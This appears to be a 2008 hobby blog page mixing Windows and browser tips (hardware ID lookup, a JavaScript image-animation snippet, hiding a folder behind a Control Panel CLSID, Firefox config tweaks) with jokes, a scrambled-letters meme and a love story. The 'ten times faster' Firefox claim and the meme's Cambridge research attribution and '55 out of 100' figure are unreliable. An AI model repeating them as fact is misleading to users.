Look for the Ven & Dev number/characters and copy it down. Ven is Vender and Dev is Device..Example attach picture shows that my Vendor is 2000 and my Device is 2800.

Then visit this site : http://www.pcidatabase.com

Enter the value of Vendor and Device there. It will show every single infomation about the hardware and Links for the driver to download.

Now your Done, You have all the Information about Your "Unknown Hardware".

Very Cool Google Trick Must Try

1. Go to " http://www.google.com "

2. Click "images"

3. Fill in "bikes, flowers, psp786" or any other word.

4. You will get a page with alot of images thumbnailed.

5. Now delete the URL on the addressbar

6. Copy the script down here, and paste it in your addressbar

"javascript:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images ; DIL=DI.length; function A(){for(i=0
; i<
DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math. sin
(R*x1+ i*x2+x3)* x4+x5; DIS.top=Math. cos(R*y1+ i*y2+y3)* y4+y5}R++ }setInterval('A()',5); void(0)"

After 20 Minutes I am able to Post this Script . . .
Script is Broking Down . . .few characters just dont appear . . .

Enjoy!

Thursday, November 20, 2008

Hiding Folders in Windows

I am Going to Show You
How to Turn Your Simple Folder into Control Panel OR anything You Likes....
When You Try to Open Your Folder it Will Open as Control Panel and ....
You are not Able to See your Contents that you have Put into this FOLDER.
It will Saw you Contents of Control Panel like Add/Remove Programs and other stuff...
Then We have to Convert it again into Simple Folder and Vice Versa.

Step 1: Make Folder and Put some Data if You want to....

Step 2: Now Rename the Folder without Quotes.
"Control Panel.{21EC2020-3AEA-1069-A2DD- 08002B30309D}"
and It will Look like as Control Panel.

Step 3: Now Try to Open it (Double Click on it).

Step 4: Magic Runs and You will be Land into Control Panel.

Now are You Statisfied by Reading this Tutorial.....
Well I am Not So lets add something More Fun to it.....

To make it Looks Like other things in control panel.
Try the Following Extensions :

Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}
Recycle Bin.{645FF040-5081-101B-9F08-00AA002F954E}
My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents.{ECF03A32-103D-11d2-854D-006008059367}
Fonts.{BD84B380-8CA2-1069-AB1D-08000948F534}
Computer Search Folder : {1f4de370-d627-11d1-ba4f-00a0c91eedba}
Search Folder : {e17d4fc0-5564-11d1-83f2-00a0c90dc849}

Now the folders are turns into Control Panel but....
folder name remains Control Panel......
if you want to change the name of Folder to your choice.....
Just Rename it But dont change the Extension....
MyFolder.{21EC2020-3AEA-1069-A2DD- 08002B30309D}
So New Control Panel with Your Name....
and its Still Look Like Control Panel....and act Like Control Panel.....

How it Works?
So Everyone is Familiar with File Type Extensions.
You all Know this .bmp, .jpeg, .txt, .zip and many more...
Yes you Got it, its Replace the Default Folder Type into Special Folder type.

Thats it .......ENJOY !!!!!!!!!!!!!!!!!!

Wednesday, November 19, 2008

Make firefox run 10 times faster

Make firefox run 10 times faster by following these simple
1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"

set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

More options:

For ADSL:
1. Type: about:config
2. Set:
network.http.max-connections : 64
network.http.max-connections-per-server : 21
network.http.max-persistent-connections-per-server : 8
network.http.pipelining : true
network.http.pipelining.maxrequests : 100
network.http.proxy.pipelining : true

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

Turn Your Name into a Face

Type Your name and turn it into Picture.

Go Here: http://turnyournameintoaface.com

My Face :

Types of computer viruses

Adam and Eve virus: Takes a couple of bytes out of your Apple.

Airline virus: You're in Dallas, but your data is in Singapore.

Anita Hill virus: Lies dormant for ten years.

Arnold Schwarzenegger virus: Terminates and stays resident. It'll be back.

AT&T virus: Every three minutes it tells you what great service you are getting.

The MCI virus: Every three minutes it reminds you that you're paying too much for the AT&T virus.

Bill Clinton virus: This virus mutates from region to region and we're not exactly sure what it does.

Bill Clinton virus: Promises to give equal time to all processes: 50% to poor, slow processes; 50% to middle-class processes, and 50% to rich ones. This virus protests your computer's involvement in other computer's affairs, even though it has been having one of its own for 12 years.

Congressional Virus: Overdraws your computer.

Congressional Virus: The computer locks up, screen splits erratically with a message appearing on each half blaming the other side for the problem.

Dan Quayle virus: Prevents your system from spawning any child processes without joining into a binary network.

Dan Quayle virus: Simplye addse ane ee toe everye worde youe typee..

David Duke virus: Makes your screen go completely white.

Elvis virus: Your computer gets fat, slow, and lazy and then self destructs, only to resurface at shopping malls and service stations across rural America.

Federal bureaucrat virus: Divides your hard disk into hundreds of little units, each of which do practically nothing, but all of which claim to be the most important part of the computer.

Freudian virus: Your computer becomes obsessed with marrying its own motherboard.

Gallup virus: Sixty percent of the PCs infected will lose 38 percent of their data 14 percent of the time (plus or minus a 3.5 percent margin of error).

George Bush virus: Doesn't do anything, but you can't get rid of it until November.

Government economist virus: Nothing works, but all your diagnostic software says everything is fine.

Jerry Brown virus: Blanks your screen and begins flashing an 800 number.

Madonna virus: If your computer gets this virus, lock up your dog!

Mario Cuomo virus: It would be a great virus, but it refuses to run.

Michael Jackson virus: Hard to identify because it is constantly altering its appearance. This virus won't harm your PC, but it will trash your car.

New World Order virus: probably harmless, but it makes a lot of people really mad just thinking about it.

Nike virus: Just Does It!

Ollie North virus: Turns your printer into a document shredder.

Oprah Winfrey virus: Your 200MB hard drive suddenly shrinks to 80MB, and then slowly expands back to 200MB.

Pat Buchanan virus: Shifts all your output to the extreme right of your screen.

Paul Revere virus: This revolutionary virus does not horse around. It warns you of impending hard disk attack---once if by LAN, twice if by C:.

Paul Tsongas virus: Pops up on December 25 and says, "I'm not Santa Claus."

PBS virus: Your PC stops every few minutes to ask for money.

Politically correct virus: Never calls itself a "virus", but instead refers to itself as an "electronic microorganism".

Bush virus: Also known as the "Tricky ~censored~ Virus", you can wipe it out but it always makes a comeback.

Right To Life virus: Won't allow you to delete a file, regardless of how old it is. If you attempt to erase a file, it requires you to first see a counselor about possible alternatives.

Ross Perot virus: Activates every component in your system, just before the whole thing quits.

Ted Kennedy virus: Crashes your computer but denies it ever happened.

Ted Turner virus: Colorizes your monochrome monitor.

Terry Randle virus: Prints "Oh no you don't" whenever you choose "Abort" from the "Abort, Retry, Fail" message.

Texas virus: Makes sure that it's bigger than any other file.

UK Parliament virus: Splits the screen into two with a message in each half blaming other side for the state of the system.

Warren Commission virus: Won't allow you to open your files for 75 years.

Can u read this?

fi yuo cna raed tihs, yuo hvae a sgtrane mnid too. Cna yuo raed tihs? Olny 55 plepoe out of 100 can.

i cdnuolt blveiee taht I cluod aulaclty uesdnatnrd waht I was rdanieg. The phaonmneal pweor of the hmuan mnid, aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it dseno't mtaetr in waht oerdr the ltteres in a wrod are, the olny iproamtnt tihng is taht the frsit and lsat ltteer be in the rghit pclae. The rset can be a taotl mses and you can sitll raed it whotuit a pboerlm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Azanmig huh? yaeh and I awlyas tghuhot slpeling was ipmorantt!

Wednesday, November 12, 2008

The True Meaning of LOVE - A Touching Story

The True Meaning of LOVE - A Touching Story

My husband is an Engineer by profession, I love him for his steady nature, and I love the warm feeling when I lean against his broad shoulders. Three years of courtship and now, two years into marriage, I would have to admit, that I am getting tired of it. The reasons of me loving him before, has now transformed into the cause of all my restlessness. . . I am a sentimental woman and extremely sensitive when it comes to a relationship and my feelings, I yearn for the romantic moments, like a little girl yearning for candy. My husband, is my complete opposite, his lack of sensitivity, and the inability of bringing romantic moments into our marriage has disheartened me about love. One day, I finally decided to tell him my decision, that I wanted a divorce.

"Why?" he asked, shocked. "I am tired, there are no reasons for everything in the world!" I answered. He kept silent the whole night, seems to be in deep thought with a lighted cigarette at all times

My feeling of disappointment only increased, here was a man who can't even express his predicament, what else can I hope from him? And finally he asked me:" What can I do to change your mind?" Somebody said it right, it's hard to change a person's personality, and I guess, I have started losing faith in him.

Looking deep into his eyes I slowly answered : "Here is the question, if you can answer and convince my heart, I will change my mind, Let's say, I want a flower located on the face of a mountain cliff, and we both are sure that picking the flower will cause your death, will you do it for me?" He said :" I will give you your answer tomorrow.... " My hopes just sank by listening to his response.

I woke up the next morning to find him gone, and saw a piece of paper with his scratchy handwriting, underneath a milk glass, on the dining table near the front door, that goes....

My dear, "I would not pick that flower for you, but please allow me to explain the reasons further.." This first line was already breaking my heart. I continued reading. "When you use the computer you always mess up the Software programs, and you cry in front of the screen, I have to save my fingers so that I can help to restore the programs.

You always leave the house keys behind, thus I have to save my legs to rush home to open the door for you. You love traveling but always lose your way in a new city, I have to save my eyes to show you the way.

You always have the cramps whenever your "good friend" approaches every month, I have to save my palms so that I can calm the cramps in your tummy. You like to stay indoors, and I worry that you will be infected by infantile autism. I have to save my mouth to tell you jokes and stories to cure your boredom.

You always stare at the computer, and that will do nothing good for your eyes, I have to save my eyes so that when we grow old, I can help to clip your nails,and help to remove those annoying white hairs. So I can also hold your hand while strolling down the beach, as you enjoy the sunshine and the beautiful sand... and tell you the colour of flowers, just like the color of the glow on your young face...

Thus, my dear, unless I am sure that there is someone who loves you more than I do... I could not pick that flower yet, and die.. " My tears fell on the letter, and blurred the ink of his handwriting. .... and as I continue on reading...

"Now, that you have finished reading my answer, if you are satisfied, please open the front door for I am standing outside bringing your favorite bread and fresh milk...

I rush to pull open the door, and saw his anxious face, clutching tightly with his hands, the milk bottle and loaf of bread...... Now I am very sure that no one will ever love me as much as he does, and I have decided to leave the flower alone...

That's life, and love. When one is surrounded by love, the feeling of excitement fades away, and one tends to ignore the true love that lies in between the peace and dullness.

Love shows up in all forms, even very small and cheeky forms, it has never been a model, it could be the most dull and boring form.. . flowers, and romantic moments are only used and appear on the surface of the relationship. Under all this, the pillar of true love stands... and that's our life... Love, not words win arguments...

Story Source: Gurlzgroup